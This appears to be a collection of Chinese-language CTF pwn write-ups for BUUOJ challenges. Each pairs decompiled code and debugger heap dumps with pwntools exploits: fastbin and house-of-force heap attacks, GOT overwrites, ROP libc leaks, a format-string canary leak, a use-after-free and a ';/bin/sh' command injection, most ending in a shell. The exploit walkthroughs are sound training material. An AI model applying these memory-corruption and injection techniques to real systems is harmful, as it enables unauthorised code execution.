1 2 3 4 ───────────── Unsorted Bin for arena 'main_arena' ───────────── [+] unsorted_bins[0]: fw=0x55754fefb0b0, bk=0x55754fefb0b0 → Chunk(addr=0x55754fefb0c0, size=0x110, flags=PREV_INUSE) [+] Found 1 chunks in unsorted bin.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 gef➤ x/45gx 0x55de8a864000 0x55de8a864000: 0x0000000000000000 0x0000000000000071 0x55de8a864010: 0x6161616161616161 0x6161616161616161 0x55de8a864020: 0x6161616161616161 0x6161616161616161 0x55de8a864030: 0x6161616161616161 0x6161616161616161 0x55de8a864040: 0x6161616161616161 0x6161616161616161 0x55de8a864050: 0x6161616161616161 0x6161616161616161 0x55de8a864060: 0x6161616161616161 0x6161616161616161 0x55de8a864070: 0x0000000000000000 0x0000000000000071 0x55de8a864080: 0x6161616161616161 0x6161616161616161 0x55de8a864090: 0x6161616161616161 0x6161616161616161 0x55de8a8640a0: 0x6161616161616161 0x6161616161616161 0x55de8a8640b0: 0x0000000000000000 0x0000000000000111 0x55de8a8640c0: 0x00007fa305c4ab78 0x00007fa305c4ab78 <---unsorted bin 0x55de8a8640d0: 0x0000000000000000 0x0000000000000000 0x55de8a8640e0: 0x0000000000000000 0x0000000000000071 0x55de8a8640f0: 0x0000000000000000 0x0000000000000000 0x55de8a864100: 0x0000000000000000 0x0000000000000000 0x55de8a864110: 0x0000000000000000 0x0000000000000000 0x55de8a864120: 0x0000000000000000 0x0000000000000000 0x55de8a864130: 0x0000000000000000 0x0000000000000000 0x55de8a864140: 0x0000000000000000 0x0000000000000000 0x55de8a864150: 0x0000000000000000 0x0000000000000000
3.2 fastbin attack
最后再修改malloc_hook-35的地址(mallco_hook的参数要偏移,且偏移后的地址不能为0)为exec_binsh(one_gadget)
简言之就是hook->onegadget
1 2 3 4 5 6 7 Free(1 ) Fill(0 ,"a" *0x60 +p64(0 )+p64(0x71 )+p64(malloc_hook-35 )+p64(0 )) GDB() Allocate(0x60 ) GDB()
3.4 覆盖chunk1的fd
heap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 0x55a4b068b000 FASTBIN { <---chunk 0 prev_size = 0, size = 113, fd = 0x6161616161616161, bk = 0x6161616161616161, fd_nextsize = 0x6161616161616161, bk_nextsize = 0x6161616161616161 } 0x55a4b068b070 FASTBIN { <---chunk1 prev_size = 0, size = 113, fd = 0x7f038a23caed <_IO_wide_data_0+301>, malloc_hook-35 bk = 0x0, fd_nextsize = 0x6161616161616161, bk_nextsize = 0x6161616161616161 } 0x55a4b068b0e0 FASTBIN { prev_size = 0, size = 113, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x55a4b068b150 { prev_size = 0, size = 0, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 }
bins
1 2 3 4 5 6 7 8 9 10 11 12 13 14 fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x7ff5da1deaed (_IO_wide_data_0+301) ◂— 0xf5d9e9fe20000000 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty
stack
1 2 3 4 5 6 7 8 9 pwndbg> x/gx 0x7ff5da1deb10-35 0x7ff5da1deaed <_IO_wide_data_0+301>: 0xf5da1dd260000000 0x7ff5da1deaf5 <_IO_wide_data_0+309>: 0x000000000000007f 0x7ff5da1deafd: 0xf5d9e9fe20000000 0x7ff5da1deb05 <__memalign_hook+5>: 0xf5d9e9fa0000007f 0x7ff5da1deb0d <__realloc_hook+5>: 0x000000000000007f 0x7ff5da1deb15 <__malloc_hook+5>: 0x0000000000000000 0x7ff5da1deb1d: 0x0000000000000000 0x7ff5da1deb25 <main_arena+5>: 0x0000000000000000
3.5 填入onegadget
heap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 0x55efd712d000 FASTBIN { prev_size = 0, size = 113, fd = 0x6161616161616161, bk = 0x6161616161616161, fd_nextsize = 0x6161616161616161, bk_nextsize = 0x6161616161616161 } 0x55efd712d070 FASTBIN { prev_size = 0, size = 113, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x55efd712d0e0 FASTBIN { prev_size = 0, size = 113, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x55efd712d150 { prev_size = 0, size = 0, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 }
gdb
1 2 3 4 5 6 7 pwndbg> x/gx 0x7f0f7c16ab10-35 0x7f0f7c16aaed <_IO_wide_data_0+301>: 0x0f7c169260000000 0x7f0f7c16aaf5 <_IO_wide_data_0+309>: 0x000000000000007f 0x7f0f7c16aafd: 0x4141414141414141 0x7f0f7c16ab05 <__memalign_hook+5>: 0x4141414141414141 0x7f0f7c16ab0d <__realloc_hook+5>: 0x0f7bdeb26a414141 0x7f0f7c16ab15 <__malloc_hook+5>: 0x000000000000007f
1 2 0x7f0f7bda6000+0x4526a=0x7f0f7bdeb26a =0x7f0f7c16ab0d <__realloc_hook+5>的数值
4.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *context.log_level = 'debug' libc = ELF("./libc-2.23.so" ) p = process("./babyheap_0ctf_2017" ) def Allocate (size ): p.sendlineafter("Command: " ,"1" ) p.sendlineafter("Size: " ,str (size)) def Fill (idx,content ): p.sendlineafter("Command: " ,"2" ) p.sendlineafter("Index: " ,str (idx)) p.sendlineafter("Size: " ,str (len (content))) p.sendlineafter("Content: " ,content) def Free (idx ): p.sendlineafter("Command: " ,"3" ) p.sendlineafter("Index: " ,str (idx)) def Dump (idx ): p.recvuntil("Command:" ) p.sendline("4" ) p.recvuntil("Index:" ) p.sendline(str (idx)) p.recvuntil('Content: \n' ) return p.recvline() def GDB (): context.terminal = ['tmux' ,'splitw' ,'-h' ] gdb.attach(p) Allocate(0x60 ) Allocate(0x30 ) Fill(0 ,"a" *0x60 +p64(0 )+p64(0x71 )) Allocate(0x100 ) Fill(2 ,"a" *0x20 +p64(0 )+p64(0x71 )) Free(1 ) Allocate(0x60 ) Fill(1 ,"a" *0x30 +p64(0 )+p64(0x111 )) Allocate(0x60 ) Free(2 ) print Dump(1 )leak = u64(Dump(1 )[-25 :-17 ]) print "leak:" +hex (leak)base=leak-0x3c4b78 malloc_hook=base+libc.sym['__malloc_hook' ] print hex (malloc_hook)Free(1 ) Fill(0 ,"a" *0x60 +p64(0 )+p64(0x71 )+p64(malloc_hook-35 )+p64(0 )) Allocate(0x60 ) Allocate(0x60 ) Fill(2 ,"A" *(35 -8 -8 )+p64(base+0x4526a )) Allocate(0x10 ) p.interactive()
bbys_tu_2016
1.checksec
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
main
1 2 3 4 5 6 7 8 9 int __cdecl main (int argc, const char **argv, const char **envp) { int v4; puts ("This program is hungry. You should feed it." ); __isoc99_scanf("%s" , &v4); puts ("Do you feel the flow?" ); return 0 ; }
printFlag
1 2 3 4 5 6 7 8 9 10 11 int printFlag () { char s; FILE *stream; stream = fopen("flag.txt" , "r" ); fgets(&s, 50 , stream); puts (&s); fflush(stdout ); return fclose(stream); }
简单栈溢出
3.EXP
1 2 3 4 5 6 7 8 9 10 from pwn import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,28634 ) elf = ELF("./bbys_tu_2016" ) print_flag=elf.sym["printFlag" ] payload = 'a' *(0xc +8 +4 )+p32(print_flag) p.sendline(payload) print p.recv()p.interactive()
bcloud_bctf_2016
1.checksec
1 2 3 4 5 Arch: i386-32 -little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000 )
2.IDA
sub_80487A1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 unsigned int sub_80487A1 () { char s; char *v2; unsigned int v3; v3 = __readgsdword(0x14 u); memset (&s, 0 , 0x50 u); puts ("Input your name:" ); safe_read((int )&s, 0x40 , 10 ); v2 = (char *)malloc (0x40 u); dword_804B0CC = (int )v2; strcpy (v2, &s); start_line((int )v2); return __readgsdword(0x14 u) ^ v3; }
s 的最大为0x40 ,v2 最大也为0x40
sub_8048779
1 2 3 4 5 int __cdecl sub_8048779 (int a1) { printf ("Hey %s! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!\n" , a1); return puts ("Now let's set synchronization options." ); }
这里就可以泄露 v2 指针的地址
sub_804884E
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 unsigned int sub_804884E () { char s; char *v2; int v3; char *v4; unsigned int v5; v5 = __readgsdword(0x14 u); memset (&s, 0 , 0x90 u); puts ("Org:" ); safe_read((int )&s, 0x40 , '\n' ); puts ("Host:" ); safe_read((int )&v3, 0x40 , '\n' ); v4 = (char *)malloc (0x40 u); v2 = (char *)malloc (0x40 u); dword_804B0C8 = (int )v2; dword_804B148 = (int )v4; strcpy (v4, (const char *)&v3); strcpy (v2, &s); puts ("OKay! Enjoy:)" ); return __readgsdword(0x14 u) ^ v5; }
因为这里是32位程序,而且 s 和 v2 的栈空间相差64,刚好可以覆盖 v2 的低地。然后到这一步的话, top chunk 又刚好在 v2 的下方,strcpy(v2, &s);
将0x40 个字符 + v2 地址 + v3 内容一同复制进v2可以通过溢出覆盖 top chunk 的 size 域,符合了 HOF 的第一个条件 能够以溢出等方式控制到 top chunk 的 size 域
1 2 3 4 5 6 7 8 +-------------+----+--------------------------------+ | 0000009 C s | s | safe_read((int )&s, 0x40 , '\n' );| +---------------------------------------------------+ | 0000005 C | v2 | v2 = (char *)malloc (0x40 u); | +---------------------------------------------------+ | 00000058 | v3 |safe_read((int )&v3, 0x40 , '\n' );| +---------------------------------------------------+ strcpy (v2, &s);
3.思路
利用初始化名字处的漏洞泄漏堆的基地址。。
利用 house of force 将 top chunk 分配至全局的 0x0804B0A0 的 ¬esize-8 处,当再次申请内存时,便返回notesize 地址处的内存,从而我们就可以控制所有note 的大小以及对应的地址了。
修改前三个 note 的大小为16,并修改其指针为 free@got ,notesize ,libc_start
将 free@got 修改为 puts@plt 。
泄漏 libc_start 地址。
再次修改另外一个 free@got 项为 system 地址,从而拿到shell。
4.gdb
0x1 leak_addr
1 2 3 4 5 0x804c000: 0x0000004900000000 0x6161616161616161 0x804c010: 0x6161616161616161 0x6161616161616161 0x804c020: 0x6161616161616161 0x6161616161616161 0x804c030: 0x6161616161616161 0x6161616161616161 0x804c040: 0x6161616161616161 0x00020f000804c008
0x00020f000804c008
发现距离地址相差 8 ,所以之后要去减去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 sh.sendafter("Input your name:\n" ,'a' *0x40 ) sh.recvuntil('a' *0x40 ) leak = u32(sh.recv(4 )) - 8 log.success("leak addr > 0x%x" ,leak) gdb.attach(sh) 0x9e89000 : 0x0000004900000000 0x6161616161616161 0x9e89010 : 0x6161616161616161 0x6161616161616161 0x9e89020 : 0x6161616161616161 0x6161616161616161 0x9e89030 : 0x6161616161616161 0x6161616161616161 0x9e89040 : 0x6161616161616161 0x00020f0009e89008 0x9e89050 : 0x0000000000000000 0x0000000000000000 gef➤ heap chunks Chunk(addr=0x9e89008 , size=0x48 , flags=PREV_INUSE) ·········································· Chunk(addr=0x9e89050 , size=0x48 , flags=PREV_INUSE) ·········································· Chunk(addr=0x9e89098 , size=0x48 , flags=PREV_INUSE) ·········································· Chunk(addr=0x9e890e0 , size=0x20e70 , flags=PREV_INUSE) ← top chunk ·········································· >>>hex (0x9e890e0 - 0x9e89008 ) 0xd8
0x2 hof
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 sh.sendafter("Org:\n" ,'a' *64 ) sh.sendlineafter("Host:\n" ,p32(0xffffffff )) log.success("top chunk > 0x%x" ,top_chunk) 0x9e89008 : 0x6161616161616161 0x6161616161616161 0x9e89018 : 0x6161616161616161 0x6161616161616161 0x9e89028 : 0x6161616161616161 0x6161616161616161 0x9e89038 : 0x6161616161616161 0x6161616161616161 0x9e89048 : 0x0000004909e89008 0x00000000ffffffff 0x9e89058 : 0x0000000000000000 0x0000000000000000 0x9e89068 : 0x0000000000000000 0x0000000000000000 0x9e89078 : 0x0000000000000000 0x0000000000000000 0x9e89088 : 0x0000000000000000 0x0000004900000000 0x9e89098 : 0x6161616161616161 0x6161616161616161 0x9e890a8 : 0x6161616161616161 0x6161616161616161 0x9e890b8 : 0x6161616161616161 0x6161616161616161 0x9e890c8 : 0x6161616161616161 0x6161616161616161 0x9e890d8 : 0xffffffff09e89098 0x0000000000000000 0x9e890e8 : 0x0000000000000000 0x0000000000000000 0x9e890f8 : 0x0000000000000000 0x0000000000000000 gef➤ heap chunks Chunk(addr=0x9e89008 , size=0x48 , flags=PREV_INUSE) Chunk(addr=0x9e89050 , size=0x48 , flags=PREV_INUSE) Chunk(addr=0x9e89098 , size=0x48 , flags=PREV_INUSE) Chunk(addr=0x9e890e0 , size=0xfffffff8 , flags=PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA) ← top chunk
top chunk 的 size 域被改变了
0x3 迁移top chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 notesize_addr = 0x0804B0A0 notelist_addr = 0x0804B120 target = notesize_addr - 8 offset = target - top_chunk - 8 log.success("offset > " +hex (offset)) add(offset,"aaaa" ) [+] 1st chunk addr > 0x9f8c000 [+] top chunk > 0x9f8c0d8 [+] offset > -0x1f41048 0x804b098 PREV_INUSE { prev_size = 0 , size = 32772153 , fd = 0xfe0befb8 , bk = 0x0 , fd_nextsize = 0x0 , bk_nextsize = 0x0 }
发现多了这个 chunk ,地址=notesize_addr - 8
说明迁移成功,那么下一次就会分配chunk到这里来
0x4 free@got 泄露
1 2 3 4 5 6 7 8 9 10 payload = p32(16 ) * 3 payload += (notelist_addr - notesize_addr - 12 ) * 'a' payload += p32(elf.got['free' ]) + p32(elf.got['atoi' ]) * 2 add(1000 ,payload) 0x804b098 : 0x00000000 0x01f41039 0xfe0befb8 0x00000000 0x804b0a8 : 0x00000000 0x00000000 0x00000000 0x00000000 0x804b0b8 : 0x00000000 0x00000000 0x00000000 0x00000000 0x804b0c8 : 0x09f8c098 0x09f8c008 0x00000000 0x00000000
5.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import *context.arch = "i386" elf = ELF("./bcloud_bctf_2016" ) libc = ELF("/home/joe1sn/libc/32/libc-2.23.so" ) sh = remote("node3.buuoj.cn" ,29429 ) def add (size,text ): sh.sendlineafter(">>" ,"1" ) sh.sendlineafter(":" ,str (size)) if size > 0 : sh.recvuntil(":" ) sh.send(text) def edit (idx,text ): sh.sendlineafter(">>" ,"3" ) sh.sendlineafter(":" ,str (idx)) sh.sendafter(":" ,text) def delete (idx ): sh.sendlineafter(">>" ,"4" ) sh.sendlineafter(":" ,str (idx)) if __name__ == '__main__' : sh.sendafter(":" ,"b" * 0x40 ) sh.recvuntil("b" * 0x40 ) heap_base = u32(sh.recv(4 )) - 8 top_chunk = heap_base + 0xd8 log.success("1st chunk > " +hex (heap_base)) log.success("top chunk > " +hex (top_chunk)) sh.recvuntil(":" ) sh.send(0x40 * "a" ) sh.recvuntil(":" ) sh.sendline("\xff" * 0x4 ) notesize_addr = 0x0804B0A0 notelist_addr = 0x0804B120 offset = notesize_addr - top_chunk - 0x10 add(offset,'' ) payload = p32(0x400 ) * 10 payload = payload.ljust(0x0804B120 - 0x0804B0A0 ,'\x00' ) payload += p32(elf.got['free' ]) payload += p32(notesize_addr) payload += p32(elf.got['__libc_start_main' ]) add(0x400 ,payload + "\n" ) edit(0 ,p32(elf.plt['puts' ]) + "\n" ) delete(2 ) __libc_start_main = u32(sh.recvuntil('\xf7' )[-4 :]) base = __libc_start_main - libc.symbols['__libc_start_main' ] system = base + libc.symbols['system' ] binsh = base + libc.search("/bin/sh\x00" ).next () log.success('libc base addr: ' + hex (base)) log.success('system addr: ' + hex (system)) log.success('/bin/sh addr: ' + hex (binsh)) edit(0 ,p32(system) + "\n" ) edit(1 ,payload + p32(binsh) + "\n" ) delete(3 ) sh.interactive()
bjdctf_2020_babyrop
1.checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
vuln
1 2 3 4 5 6 7 ssize_t vuln () { char buf; puts ("Pull up your sword and tell me u story!" ); return read(0 , &buf, 0x64 uLL); }
溢出+libc leak
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,29594 ) elf = ELF("./bjdctf_2020_babyrop" ) libc = ELF("./libc-2.23.so" ) puts_plt = elf.plt["puts" ] read_got = elf.got["read" ] main_addr = elf.sym["main" ] pop_rdi_ret = 0x0000000000400733 payload = "a" *(0x20 +8 ) payload += p64(pop_rdi_ret)+p64(read_got) payload += p64(puts_plt)+p64(main_addr) p.recvuntil("story!\n" ) p.sendline(payload) leak_addr = u64(p.recv(6 ).ljust(8 ,"\x00" )) libc_base = leak_addr-libc.sym["read" ] sys_addr = libc_base+libc.sym["system" ] binsh = libc_base+libc.search("/bin/sh" ).next () ''' libc = LibcSearcher("read",leak_addr) libc_base = leak_addr-libc.dump("read") sys_addr = libc_base+libc.dump("system") binsh = libc_base+libc.dump("str_bin_sh") ''' log.info("libc base=>%x" ,libc_base) log.info("system addr=>%x" ,sys_addr) log.info("/bin/sh=>%x" ,binsh) payload = 'a' *(0x20 +8 ) payload += p64(pop_rdi_ret)+p64(binsh) payload += p64(sys_addr) p.sendlineafter("story!" ,payload) p.interactive()
bjdctf_2020_babyrop2
1.checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
gift
1 2 3 4 5 6 7 8 9 10 11 12 13 unsigned __int64 gift () { char format; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("I'll give u some gift to help u!" ); __isoc99_scanf("%6s" , &format); printf (&format, &format); puts (byte_400A05); fflush(0LL ); return __readfsqword(0x28 u) ^ v2; }
vuln
1 2 3 4 5 6 7 8 9 10 unsigned __int64 vuln () { char buf; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("Pull up your sword and tell me u story!" ); read(0 , &buf, 0x64 uLL); return __readfsqword(0x28 u) ^ v2; }
从gift利用字符串格式化漏洞泄露canary,再利用vuln执行漏洞
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *from LibcSearcher import *context.log_level = "debug" elf= ELF("./bjdctf_2020_babyrop2" ) p = remote("node3.buuoj.cn" ,"27381" ) p.sendlineafter("to help u!\n" ,"%7$p" ) p.recvuntil("0x" ) canary=int (p.recv(16 ),16 ) success("Canary=>0x%x" ,canary) pop_rdi_ret = 0x0400993 payload = 'a' *0x18 +p64(canary)+'a' *8 payload += p64(pop_rdi_ret)+p64(elf.got["puts" ]) payload += p64(elf.plt["puts" ])+p64(elf.sym["vuln" ]) p.sendlineafter("tell me u story!" ,payload) leak = u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,"\x00" )) libc = LibcSearcher("puts" ,leak) base = leak-libc.dump("puts" ) sys_addr = base + libc.dump("system" ) binsh = base+ libc.dump("str_bin_sh" ) payload='a' *0x18 +p64(canary)+p64(0 ) payload+=p64(pop_rdi_ret)+p64(binsh) payload+=p64(sys_addr) p.sendlineafter("!" ,payload) p.interactive()
bjdctf_2020_babystack
1.checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __cdecl main (int argc, const char **argv, const char **envp) { char buf; size_t nbytes; setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 1 , 0LL ); LODWORD(nbytes) = 0 ; puts ("**********************************" ); puts ("* Welcome to the BJDCTF! *" ); puts ("* And Welcome to the bin world! *" ); puts ("* Let's try to pwn the world! *" ); puts ("* Please told me u answer loudly!*" ); puts ("[+]Are u ready?" ); puts ("[+]Please input the length of your name:" ); __isoc99_scanf("%d" , &nbytes); puts ("[+]What's u name?" ); read(0 , &buf, (unsigned int )nbytes); return 0 ; }
back_door
1 2 3 4 5 signed __int64 backdoor () { system("/bin/sh" ); return 1LL ; }
nbytes可以被我们控制,从而造成栈溢出
3.EXP
1 2 3 4 5 6 from pwn import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,25325 ) p.sendlineafter(":" ,str (0x100 )) p.sendlineafter("?" ,'a' *0x18 +p64(0x04006EA )) p.interactive()
bjdctf_2020_babystack2
1.checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 int __cdecl main (int argc, const char **argv, const char **envp) { char buf; size_t nbytes; setvbuf(_bss_start, 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 1 , 0LL ); LODWORD(nbytes) = 0 ; puts ("**********************************" ); puts ("* Welcome to the BJDCTF! *" ); puts ("* And Welcome to the bin world! *" ); puts ("* Let's try to pwn the world! *" ); puts ("* Please told me u answer loudly!*" ); puts ("[+]Are u ready?" ); puts ("[+]Please input the length of your name:" ); __isoc99_scanf("%d" , &nbytes); if ( (signed int )nbytes > 10 ) { puts ("Oops,u name is too long!" ); exit (-1 ); } puts ("[+]What's u name?" ); read(0 , &buf, (unsigned int )nbytes); return 0 ; }
(signed int)nbytes
为正整数,所以存在整数溢出漏洞
backdoor
1 2 3 4 5 signed __int64 backdoor () { system("/bin/sh" ); return 1LL ; }
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context.log_level = "debug" elf = ELF("./bjdctf_2020_babystack2" ) p = remote("node3.buuoj.cn" ,"28949" ) back_door = 0x0400726 payload = 'a' *0x18 +p64(back_door) p.sendlineafter(":\n" ,'-1' ) p.sendlineafter("?\n" ,payload) p.interactive()
bjdctf_2020_router
1.checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.运行
1 2 3 4 5 6 7 Welcome to BJDCTF router test program! 1.ping 2.test 3.leave comments 4.root 5.exit Please input u choose:
根本不用EXP,考察的是linux的 命令是利用;
分割的
3.EXP
1 2 3 4 5 6 7 8 9 10 11 from pwn import *p = process('./bjdctf_2020_router' ) elf = ELF('./bjdctf_2020_router' ) context.log_level = 'debug' p.recv() p.sendline("1" ) p.recv() p.sendline(';/bin/sh' ) p.interactive()
bjdctf_2020_YDSneedGrirlfriend
1.checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
基本功能
1 2 3 4 5 6 7 8 9 10 11 12 def add (sz,text ): sh.sendlineafter("Your choice :" ,"1" ) sh.sendlineafter("Her name size is :" ,str (sz)) sh.sendlineafter("Her name is :" ,text) def delete (idx ): sh.sendlineafter("Your choice :" ,"2" ) sh.sendlineafter("Index :" ,str (idx)) def show (idx ): sh.sendlineafter("Your choice :" ,"3" ) sh.sendlineafter("Index :" ,str (idx))
del_girlfriend
1 2 3 4 5 6 7 8 9 if ( v1 >= 0 && v1 < count ) { if ( girlfriendlist[v1] ) { free (*((void **)girlfriendlist[v1] + 1 )); free (girlfriendlist[v1]); puts ("Success" ); } }
释放后指针没有置0,造成 use after free
print_girlfriend_name
1 2 3 4 int __fastcall print_girlfriend_name (__int64 a1) { return puts (*(const char **)(a1 + 8 )); }
位于所申请的chunk中,可以通过之前的uaf漏洞将其改写
back_door
1 2 3 4 5 int backdoor () { puts ("YDS get N+ girlfriend!" ); return system("/bin/sh" ); }
直接覆盖print_girlfriend_name 为 back_door 就行了
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *elf = ELF('bjdctf_2020_YDSneedGrirlfriend' ) libc = ELF("/home/joe1sn/libc/64/libc-2.23.so" ) sh = 0 def add (sz,text ): sh.sendlineafter("Your choice :" ,"1" ) sh.sendlineafter("Her name size is :" ,str (sz)) sh.sendlineafter("Her name is :" ,text) def delete (idx ): sh.sendlineafter("Your choice :" ,"2" ) sh.sendlineafter("Index :" ,str (idx)) def show (idx ): sh.sendlineafter("Your choice :" ,"3" ) sh.sendlineafter("Index :" ,str (idx)) def main (ip,port,mode,debug ): global sh if debug==0 : context.log_level = "debug" else : pass if mode==0 : sh = process("bjdctf_2020_YDSneedGrirlfriend" ) else : sh = remote(ip,port) add(0x60 ,'aaaa' ) add(0x60 ,'bbbb' ) delete(0 ) delete(1 ) add(0x10 ,p64(0x400B9C )) show(0 ) sh.interactive() if __name__ == '__main__' : main("node3.buuoj.cn" ,"27659" ,1 ,1 )
ciscn_2019_c_1
环境:Ubuntu18
1.checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
main
1 2 3 4 5 6 7 8 9 10 int __cdecl main (int argc, const char **argv, const char **envp) { FILE *v3; setvbuf(_bss_start, 0LL , 2 , 0LL ); v3 = stdin ; setvbuf(stdin , 0LL , 2 , 0LL ); func(v3, 0LL ); return 0 ; }
func
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int func () { int result; char v1; float v2; v2 = 0.0 ; puts ("Let's guess the number." ); gets(&v1); if ( v2 == 11.28125 ) result = system("cat /flag" ); else result = puts ("Its value should be 11.28125" ); return result; }
string
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 LOAD:0000000000400238 0000001C C /lib64/ld-linux-x86-64.so.2 LOAD:0000000000400399 0000000A C libc.so.6 LOAD:00000000004003A3 00000005 C gets LOAD:00000000004003A8 00000005 C puts LOAD:00000000004003AD 00000006 C stdin LOAD:00000000004003B3 00000007 C stdout LOAD:00000000004003BA 00000007 C system LOAD:00000000004003C1 00000008 C setvbuf LOAD:00000000004003C9 00000012 C __libc_start_main LOAD:00000000004003DB 0000000F C __gmon_start__ LOAD:00000000004003EA 0000000C C GLIBC_2.2.5 .rodata:00000000004007B4 00000018 C Let's guess the number. .rodata:00000000004007CC 0000000A C cat /flag .rodata:00000000004007D6 0000001D C Its value should be 11.28125 .eh_frame:000000000040089F 00000006 C ;*3$\"
v1的栈空间覆盖到v2
3.EXP
1 2 3 4 5 6 7 from pwn import *p = remote("node3.buuoj.cn" ,26782 ) number_addr = 0x41348000 payload = '\x00' *(0x30 -4 ) + p64(number_addr) p.sendlineafter("Let's guess the number.\n" ,payload) print p.recv()
number是地址下面保存的16进制值
ciscn_2019_en_2
和ciscn_2019_c_1一样
ciscn_2019_en_3
1.checksec
1 2 3 4 5 6 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
2.IDA
main
1 2 3 4 5 puts ("Welcome to the story kingdom." ); puts ("What's your name?" ); read(0 , &buf, 0x20 uLL); _printf_chk(1LL , (__int64)&buf); puts ("Please input your ID." );
字符串格式化漏洞,可以从这里泄露libc base
只有两个有效功能
1 2 3 4 5 6 7 8 def add (sz,text ): p.sendlineafter(": " ,"1" ) p.sendlineafter(": " ,str (sz)) p.sendlineafter(": " ,text) def delete (idx ): p.sendlineafter(": " ,"4" ) p.sendlineafter(": " ,str (idx))
main
1 2 3 4 5 6 7 puts ("Welcome to the story kingdom." );puts ("What's your name?" );read(0 , &buf, 0x20 uLL); _printf_chk(1LL , &buf); puts ("Please input your ID." );read(0 , &s, 8uLL ); puts (&s);
字符串格式化漏洞,printf_chk
函数,导致你在使用%a$p
时需要同时使用%(1到a)$p
才可以,并且禁用了%n
,所以利用格式化字符串写的这条路基本被pass掉,只有可能进行一些简单的leak
delete
1 2 3 4 5 6 7 8 9 10 11 12 unsigned __int64 delete () { int v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("Please input the index:" ); _isoc99_scanf("%d" , &v1); free (qword_202068[2 * v1]); puts ("Done!" ); return __readfsqword(0x28 u) ^ v2; }
指针未清0
3.GDB
1 2 3 4 5 6 7 8 9 10 p.sendlineafter('name?' ,'aaaaaa' ) gdb.attach(p) p.sendlineafter('ID.' ,'2' *8 ) leak = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) log.success('leak addr => 0x%x' ,leak) 0x7fffa19cf4b0 ◂— 0x3232323232323232 ('22222222' )0x7fffa19cf4b8 —▸ 0x7fc2db859237 (setbuffer+231 ) ◂— test dword ptr [rbx], 0x8000 0x7fffa19cf4c0 ◂— 0xa616161616161 /* 'aaaaaa\n' */
